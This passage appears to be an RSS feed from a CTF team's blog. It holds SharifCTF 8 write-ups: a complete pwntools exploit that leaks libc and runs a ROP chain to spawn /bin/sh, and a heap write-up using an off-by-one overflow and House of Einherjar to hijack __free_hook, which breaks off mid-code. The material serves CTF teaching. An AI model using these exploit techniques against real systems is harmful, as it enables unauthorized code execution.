&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x0002c79c&lt;/span>) &lt;span style="color:#6c7986"># 0x0002c79c: xor eax, eax; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x000b5377&lt;/span>) &lt;span style="color:#6c7986"># 0x000b5377: pop ecx; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x001b3048&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x0018e372&lt;/span>) &lt;span style="color:#6c7986"># 0x0018e372: mov dword ptr [ecx], eax; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x00018395&lt;/span>) &lt;span style="color:#6c7986"># 0x00018395: pop ebx; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x001b3040&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x000b5377&lt;/span>) &lt;span style="color:#6c7986"># 0x000b5377: pop ecx; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x001b3048&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x00001aa6&lt;/span>) &lt;span style="color:#6c7986"># 0x00001aa6: pop edx; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x001b3048&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x0002c79c&lt;/span>) &lt;span style="color:#6c7986"># 0x0002c79c: xor eax, eax; ret;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x0013fd80&lt;/span>) &lt;span style="color:#6c7986"># 0x0013fd80: add eax, 9 ; ret&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x000a0567&lt;/span>) &lt;span style="color:#6c7986"># 0x000a0580: add eax, 2 ; ret&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rop += rebase_0(&lt;span style="color:#d0bf69">0x00002c87&lt;/span>) &lt;span style="color:#6c7986"># 0x00002c87: int 0x80;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> rop.find(&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#fc6a5d">\0&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>) != -&lt;span style="color:#d0bf69">1&lt;/span>: &lt;span style="color:#6c7986">#highly unlikely&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34; &amp;gt;&amp;gt; byte 0 in the payload.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d"> &amp;gt;&amp;gt; retry to run the exploit.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys.exit(&lt;span style="color:#d0bf69">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>p.sendline(&lt;span style="color:#d0bf69">22&lt;/span>*&lt;span style="color:#fc6a5d">&amp;#34;a&amp;#34;&lt;/span> + rop)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>p.interactive()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description><content type="html"><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6c7986">#TheRomanXpl0it - malweisse</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> sys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#########################################################</span>
</span></span><span style="display:flex;"><span>BINARY=<span style="color:#fc6a5d">&#34;./vuln4&#34;</span>
</span></span><span style="display:flex;"><span>HOST=<span style="color:#fc6a5d">&#34;ctf.sharif.edu&#34;</span>
</span></span><span style="display:flex;"><span>PORT=<span style="color:#d0bf69">4801</span>
</span></span><span style="display:flex;"><span>ENV={<span style="color:#fc6a5d">&#34;LD_PRELOAD&#34;</span>:<span style="color:#fc6a5d">&#34;./libc.so.6&#34;</span>}
</span></span><span style="display:flex;"><span>GDB=<span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#########################################################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(sys.argv) &lt; <span style="color:#d0bf69">2</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;args: bin|net|ida|gdb</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    sys.exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;bin&#34;</span>:
</span></span><span style="display:flex;"><span>    p = process(BINARY, env=ENV)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">elif</span> sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;net&#34;</span>:
</span></span><span style="display:flex;"><span>    p = remote(HOST, PORT)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">elif</span> sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;ida&#34;</span>:
</span></span><span style="display:flex;"><span>    p = process(<span style="color:#fc6a5d">&#34;./linux_server64&#34;</span>, env=ENV)
</span></span><span style="display:flex;"><span>    p.recvuntil(<span style="color:#fc6a5d">&#34;0.1...&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">elif</span> sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;gdb&#34;</span>:
</span></span><span style="display:flex;"><span>    p = process(BINARY, env=ENV)
</span></span><span style="display:flex;"><span>    gdb.attach(p, GDB)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;args: bin|net|ida|gdb</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    sys.exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>libc_elf = ELF(<span style="color:#fc6a5d">&#34;libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;yourself</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#### PHASE 1 - LEAK THE PUTS ADDRESS FROM THE GOT AND RESTART ####</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>puts_got = <span style="color:#d0bf69">0x08049874</span>
</span></span><span style="display:flex;"><span>puts_plt = <span style="color:#d0bf69">0x080483A0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>new_ebp = <span style="color:#d0bf69">0x08049990</span> <span style="color:#6c7986">#RW memory because the buffer is read in [ebp-3Ah]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rop = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>rop += p32(<span style="color:#d0bf69">0x08048513</span>) <span style="color:#6c7986">#main+41</span>
</span></span><span style="display:flex;"><span>rop += p32(puts_got)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#jump to &#39;call _puts&#39; to print the puts address and read another buffer</span>
</span></span><span style="display:flex;"><span>p.sendline(<span style="color:#d0bf69">18</span>*<span style="color:#fc6a5d">&#34;a&#34;</span> + p32(new_ebp) + rop)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r = p.recvline()[:<span style="color:#d0bf69">4</span>]
</span></span><span style="display:flex;"><span>puts = u32(r)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>libc_address = puts - libc_elf.symbols[<span style="color:#fc6a5d">&#34;_IO_puts&#34;</span>]<span style="color:#6c7986"># libc.so.6</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34; &gt;&gt; libc addr: &#34;</span> + <span style="color:#d0a8ff">hex</span>(libc_address)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#### PHASE 2 - BUILD A ROPCHAIN WITH LIBC GADGETS AND WIN ####</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rebase_0 = <span style="color:#fc5fa3">lambda</span> x : p32(x + libc_address)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rop = <span style="color:#fc6a5d">&#39;&#39;</span> <span style="color:#6c7986">#generated with ropper</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x0002406e</span>) <span style="color:#6c7986"># 0x0002406e: pop eax; ret;</span>
</span></span><span style="display:flex;"><span>rop += <span style="color:#fc6a5d">&#39;//bi&#39;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x000b5377</span>) <span style="color:#6c7986"># 0x000b5377: pop ecx; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x001b3040</span>)
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x0018e372</span>) <span style="color:#6c7986"># 0x0018e372: mov dword ptr [ecx], eax; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x0002406e</span>) <span style="color:#6c7986"># 0x0002406e: pop eax; ret;</span>
</span></span><span style="display:flex;"><span>rop += <span style="color:#fc6a5d">&#39;n/sh&#39;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x000b5377</span>) <span style="color:#6c7986"># 0x000b5377: pop ecx; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x001b3044</span>)
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x0018e372</span>) <span style="color:#6c7986"># 0x0018e372: mov dword ptr [ecx], eax; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x0002c79c</span>) <span style="color:#6c7986"># 0x0002c79c: xor eax, eax; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x000b5377</span>) <span style="color:#6c7986"># 0x000b5377: pop ecx; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x001b3048</span>)
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x0018e372</span>) <span style="color:#6c7986"># 0x0018e372: mov dword ptr [ecx], eax; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x00018395</span>) <span style="color:#6c7986"># 0x00018395: pop ebx; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x001b3040</span>)
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x000b5377</span>) <span style="color:#6c7986"># 0x000b5377: pop ecx; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x001b3048</span>)
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x00001aa6</span>) <span style="color:#6c7986"># 0x00001aa6: pop edx; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x001b3048</span>)
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x0002c79c</span>) <span style="color:#6c7986"># 0x0002c79c: xor eax, eax; ret;</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x0013fd80</span>) <span style="color:#6c7986"># 0x0013fd80: add eax, 9 ; ret</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x000a0567</span>) <span style="color:#6c7986"># 0x000a0580: add eax, 2 ; ret</span>
</span></span><span style="display:flex;"><span>rop += rebase_0(<span style="color:#d0bf69">0x00002c87</span>) <span style="color:#6c7986"># 0x00002c87: int 0x80;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> rop.find(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>) != -<span style="color:#d0bf69">1</span>: <span style="color:#6c7986">#highly unlikely</span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34; &gt;&gt; byte 0 in the payload.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d"> &gt;&gt; retry to run the exploit.&#34;</span>
</span></span><span style="display:flex;"><span>    sys.exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p.sendline(<span style="color:#d0bf69">22</span>*<span style="color:#fc6a5d">&#34;a&#34;</span> + rop)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p.interactive()
</span></span></code></pre></div>]]></content></item><item><title>SharifCTF 8 - t00p_secrets</title><link>https://theromanxpl0.it/posts/2018/02/sharifctf-8-t00p_secrets/</link><pubDate>Sun, 04 Feb 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/02/sharifctf-8-t00p_secrets/</guid><description>&lt;p>Decompiling the binary we can discover the master key.
Running the program the output is this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>$ ./t00p_secrets
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Welcome to SUCTF secret management service
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Enter your master key: wjigaep;r[jg]ahrg[es9hrg
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>1. Create a secret
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2. Delete a secret
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>3. Edit a secret
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>4. Print secret
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>5. Print a secret
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>6. Exit
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There are six options: create, delete, edit&amp;hellip; ok it&amp;rsquo;s a heap pwn.&lt;/p>
&lt;p>Exploring the create and edit options we can see that the content of a secret can be a string or a binary data.&lt;/p></description><content type="html"><![CDATA[<p>Decompiling the binary we can discover the master key.
Running the program the output is this:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ ./t00p_secrets
</span></span><span style="display:flex;"><span>Welcome to SUCTF secret management service
</span></span><span style="display:flex;"><span>Enter your master key: wjigaep;r[jg]ahrg[es9hrg
</span></span><span style="display:flex;"><span>1. Create a secret
</span></span><span style="display:flex;"><span>2. Delete a secret
</span></span><span style="display:flex;"><span>3. Edit a secret
</span></span><span style="display:flex;"><span>4. Print secret
</span></span><span style="display:flex;"><span>5. Print a secret
</span></span><span style="display:flex;"><span>6. Exit
</span></span><span style="display:flex;"><span>&gt;
</span></span></code></pre></div><p>There are six options: create, delete, edit&hellip; ok it&rsquo;s a heap pwn.</p>
<p>Exploring the create and edit options we can see that the content of a secret can be a string or a binary data.</p>
<p>The function that reads the content of a secret is the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">__int64</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">read_content</span>(<span style="color:#fc5fa3">void</span> *dest, <span style="color:#fc5fa3">signed</span> <span style="color:#fc5fa3">__int64</span> size, <span style="color:#fc5fa3">__int16</span> is_string)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">__int16</span> v4; <span style="color:#6c7986">// [rsp+Ch] [rbp-24h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span> v5; <span style="color:#6c7986">// [rsp+24h] [rbp-Ch]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  v4 = is_string;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ( size &gt; <span style="color:#d0bf69">0</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    v5 = <span style="color:#41a1c0">read</span>(<span style="color:#d0bf69">0</span>, dest, size);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( v4 )
</span></span><span style="display:flex;"><span>      *((_BYTE *)dest + v5) = <span style="color:#d0bf69">0</span>; <span style="color:#6c7986">//overflow if v5==size
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0LL</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Note: dest is a buffer allocated with <code>malloc(size)</code>.</p>
<p>The bug is here. If the user choice is that a secret content is a string there is an off-by-one overflow due to the string terminator.</p>
<p>House of Einherjar can be used to force malloc to return a pointer near an area where you can write.</p>
<p>The idea is to force malloc to return a pointer near the global variable <code>ptr + 0xA</code> in .data (where the program stores the pointers to the secrets contents) so we can write the address of <code>__free_hook</code> (not a GOT entry beacause there is Full RELRO) in that area and then use edit to write in <code>__free_hook</code>.</p>
<p>Firstly I used the overflow to crash the program and retrieve some offsets of libc symbols from the crash dump.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>create(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span>edit(<span style="color:#d0bf69">0</span>, <span style="color:#fc6a5d">&#34;a&#34;</span>*<span style="color:#d0bf69">24</span>) <span style="color:#6c7986">#overflow, write 0 to the last byte of the size field in the chunck 1</span>
</span></span><span style="display:flex;"><span>delete(<span style="color:#d0bf69">1</span>) <span style="color:#6c7986">#free search for a free chunck in [address of 1] + 0xaaaaaaaa, so it crashes with &#39;free(): invalid pointer&#39;</span>
</span></span></code></pre></div><p>Using libc database I found that the service is using libc6_2.23-0ubuntu10_amd64.so.</p>
<p>Let&rsquo;s write the exploit.</p>
<p>In the main procedure we can see that there is an hidden option, the seventh, that can be used to change the master key (24 bytes).</p>
<p>The master key is in data, above our target <code>ptr + 0xA</code>.</p>
<p>Perfect.</p>
<p>I used master key to forge a fake chunck. But there is a problem: a malloc chunck is 48 bytes.</p>
<p>So i decided to put in master_k only a part of the chunck, size + fd + bk.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">struct</span> malloc_chunk {
</span></span><span style="display:flex;"><span>    INTERNAL_SIZE_T         prev_size;
</span></span><span style="display:flex;"><span>    INTERNAL_SIZE_T         size; <span style="color:#6c7986">//set to 0
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">struct</span> malloc_chunk*    fd; <span style="color:#6c7986">//set to fake chunck address (master_k -8)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">struct</span> malloc_chunk*    bk; <span style="color:#6c7986">//set to fake chunck address (master_k -8)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">struct</span> malloc_chunk*    fd_nextsize;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">struct</span> malloc_chunk*    bk_nextsize;
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>To prevent a corrupted prev_size vs. size crash also the other fields must be setted to 0.</p>
<p>But <code>master_k</code>, after the program start, is -1. <code>fd_nextsize</code> and <code>bk_nextsize</code> are 0, but if I used the secrets 0 and 1 they will be dirty.</p>
<p>Before master_k the program writes the size of each secret. So to have a valid fake chunck we must do two things:</p>
<ul>
<li>never allocate the 0 and 1 secrets (whe have other 6 slots to use)</li>
<li>create the secret 7 with size 0, so prev_size is 0</li>
</ul>
<p>Ok now to force free to consider the fake chunck a valid free chunck we must have the offset between the overflowed chunck and the fake chunck.</p>
<p>An heap leak is needed.</p>
<p>Fortunately when a secret is deleted the heap is not cleared, so we can leak the fd pointer allocating a previous free chunk.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>create(<span style="color:#d0bf69">2</span>, <span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">3</span>, <span style="color:#d0bf69">248</span>)
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">4</span>, <span style="color:#d0bf69">24</span>)
</span></span><span style="display:flex;"><span>delete(<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>delete(<span style="color:#d0bf69">4</span>)
</span></span><span style="display:flex;"><span>create(<span style="color:#d0bf69">4</span>, <span style="color:#d0bf69">24</span>, val=<span style="color:#fc6a5d">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>heap_leak = <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\x20</span><span style="color:#fc6a5d">&#34;</span> + print_one(<span style="color:#d0bf69">4</span>)[<span style="color:#d0bf69">1</span>:<span style="color:#d0bf69">8</span>] <span style="color:#6c7986">#fd pointer of the secret 4 points to the secret 2 (0x20 is needed because the last byte is overwritted by newline)</span>
</span></span></code></pre></div><p>The chunck that will be manipulated is the second (secret 3), at address <code>heap_leak + 24</code>.</p>
<p>Using edit we set the prev_size of this chunck to the offset between it and the fake chunck.</p>
<p>Calling delete on it will force malloc to use the fake chunck as the next chunck to be allocated (if the size match).</p>
<p>We must change again master_k to set the fake chunck size to 0x100.</p>
<p>Now <code>malloc(248)</code> returns the fake chunck address + 16.</p>
<p>OKKKK whe can write on the memory after master_k now! Specifically in <code>ptr + 0xA</code>.</p>
<p>But before we need a lib leak.</p>
<p>Just print the new chunck to get an address from the main arena (free has rewritten fd with it).</p>
<p>The last phase is to overwrite the pointer to already created secret content with <code>__free_hook</code>, use edit and write the magic gadget address in <code>__free_hook</code>, call free and win.</p>
<p>Download the binary <a href="/sharifctf18/t00p_secrets">here</a>.
Full exploit code:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6c7986">#TheRomanXpl0it - malweisse</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> sys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#########################################################</span>
</span></span><span style="display:flex;"><span>BINARY=<span style="color:#fc6a5d">&#34;./t00p_secrets&#34;</span>
</span></span><span style="display:flex;"><span>HOST=<span style="color:#fc6a5d">&#34;ctf.sharif.edu&#34;</span>
</span></span><span style="display:flex;"><span>PORT=<span style="color:#d0bf69">22107</span>
</span></span><span style="display:flex;"><span>ENV={<span style="color:#fc6a5d">&#34;LD_PRELOAD&#34;</span>:<span style="color:#fc6a5d">&#34;./libc6_2.23-0ubuntu10_amd64.so&#34;</span>}
</span></span><span style="display:flex;"><span>GDB=<span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#########################################################</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(sys.argv) &lt; <span style="color:#d0bf69">2</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;args: bin|net|crash|ida|gdb</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    sys.exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;bin&#34;</span>:
</span></span><span style="display:flex;"><span>    p = process(BINARY, env=ENV)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">elif</span> sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;net&#34;</span> or sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;crash&#34;</span>:
</span></span><span style="display:flex;"><span>    p = remote(HOST, PORT)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">elif</span> sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;ida&#34;</span>:
</span></span><span style="display:flex;"><span>    p = process(<span style="color:#fc6a5d">&#34;./linux_server64&#34;</span>, env=ENV)
</span></span><span style="display:flex;"><span>    p.recvuntil(<span style="color:#fc6a5d">&#34;0.1...&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">elif</span> sys.argv[<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#34;gdb&#34;</span>:
</span></span><span style="display:flex;"><span>    p = process(BINARY, env=ENV)
</span></span><span style="display:flex;"><span>    gdb.attach(p, GDB)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;args: bin|net|crash|ida|gdb</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>    sys.exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">create</span>(idx, size, val=<span style="color:#fc6a5d">&#34;0&#34;</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#fc6a5d">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#d0a8ff">str</span>(idx))
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
</span></span><span style="display:flex;"><span>    p.sendline(<span style="color:#d0a8ff">str</span>(size))
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> p.recvuntil(<span style="color:#fc6a5d">&#34;: &#34;</span>)
